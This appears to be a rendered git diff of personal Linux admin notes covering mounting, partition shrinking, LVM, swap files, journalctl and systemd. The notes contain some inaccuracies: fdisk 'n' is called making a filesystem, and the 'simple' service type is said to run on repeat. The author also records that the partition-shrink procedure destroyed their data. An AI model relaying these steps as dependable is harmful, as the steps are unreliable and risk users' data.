```bash > sudo mount -a /dev/sdc1 /mnt/stick
sudo mount -a /dev/sdc1 /mnt/stick
```
# File Systems # File Systems
xfs and zfs can only be expanded. xfs and zfs can only be expanded.
@ -152,31 +118,21 @@ NB: When I followed these instructions, the process destroyed my data. Seemed fi
Check the fileSystem's health: Check the fileSystem's health:
```bash > sudo e2fsck -f /dev/sdb1
sudo e2fsck -f /dev/sdb1
```
Resize the file System to something smaller than what you want, so here I want 500G and so I resize to 450 G. Resize the file System to something smaller than what you want, so here I want 500G and so I resize to 450 G.
```bash > resize2fs /dev/sdb1 450G
resize2fs /dev/sdb1 450G
```
Then delete the partition with either gdisk or fdisk, depending upon the layout. Then delete the partition with either gdisk or fdisk, depending upon the layout.
```bash > sudo fdisk /dev/sdb
sudo fdisk /dev/sdb
```
```bash > d
d
```
Then make a new fileSystem of the desired type with: Then make a new fileSystem of the desired type with:
```bash > n
n
```
And finally resize to the full size you want: And finally resize to the full size you want:
@ -193,20 +149,14 @@ Let's start with names. PV = 'Physical Volume', VG = 'Volume Group', and LV = '
Now we can create a volume group out of sdb2 and sdc3: Now we can create a volume group out of sdb2 and sdc3:
```bash > sudo vgcreate my-new-vg /dev/sdb2 /dev/sdc3
sudo vgcreate my-new-vg /dev/sdb2 /dev/sdc3
```
Then make a new logical volume out of the volume group: Then make a new logical volume out of the volume group:
```bash > sudo lvcreate -n my-new-lv my-new-vg
sudo lvcreate -n my-new-lv my-new-vg
```
Then have a look at all logical volumes: Then have a look at all logical volumes:
```bash > sudo lvscan
sudo lvscan
```

View File

@ -4,66 +4,44 @@ tags: [ "Documentation", "basics" ]
--- ---
# Making a Swap File # Making a Swap File
```bash > cd /var/cache/
cd /var/cache/
```
```bash > sudo dd if=/dev/zero of=swapfile bs=1K count=4M
sudo dd if=/dev/zero of=swapfile bs=1K count=4M
```
This creates a swapfile of (1k x 4M) 4 Gigs. This creates a swapfile of (1k x 4M) 4 Gigs.
Change 4M to XM for an XGig swap. Change 4M to XM for an XGig swap.
```bash > sudo chmod 600 swapfile
sudo chmod 600 swapfile
```
```bash > sudo mkswap swapfile
sudo mkswap swapfile
```
```bash > sudo swapon swapfile
sudo swapon swapfile
```
Test it's working with top Test it's working with top
```bash > top -bn1 | grep -i swap
top -bn1 | grep -i swap
```
or: or:
```bash > echo "/var/cache/swapfile none swap sw 0 0" | sudo tee -a /etc/fstab
echo "/var/cache/swapfile none swap sw 0 0" | sudo tee -a /etc/fstab
```
Test it'll work at boot with: Test it'll work at boot with:
```bash > sudo swapoff swapfile
sudo swapoff swapfile
```
```bash > sudo swapon -va
sudo swapon -va
```
# Partition Swaps # Partition Swaps
Put this in /etc/fstab: Put this in /etc/fstab:
> UUID=blah-blah none swap sw 0 0 `UUID=blah-blah none swap sw 0 0`
Then test it works with: Then test it works with:
```bash > sudo swapon -va
sudo swapon -va
```
Test other partitions in fstab with: Test other partitions in fstab with:
```bash > sudo mount -a
sudo mount -a
```

View File

@ -2,15 +2,11 @@
title: "journal" title: "journal"
tags: [ "Documentation", "systemd" ] tags: [ "Documentation", "systemd" ]
--- ---
```
Find errors since November Find errors since November
```bash > journalctl --since=2018-11-01 --grep="EXT4-fs error"
journalctl --since=2018-11-01 --grep="EXT4-fs error"
```
Limit size to 2G. Limit size to 2G.
```bash > journalctl --vacuum-size=2G
journalctl --vacuum-size=2G

View File

@ -26,12 +26,13 @@ WantedBy=multi-user.target
After making the new service, systemd requires reloading: After making the new service, systemd requires reloading:
```bash > sudo systemctl daemon-reload
sudo systemctl daemon-reload
```
# Types # Types
* simple - the service cannot be called on by others. It runs on repeat. * simple - the service cannot be called on by others. It runs on repeat.
* oneshot - the service executes once, then stops. * oneshot - the service executes once, then stops.

Some files were not shown because too many files have changed in this diff Show More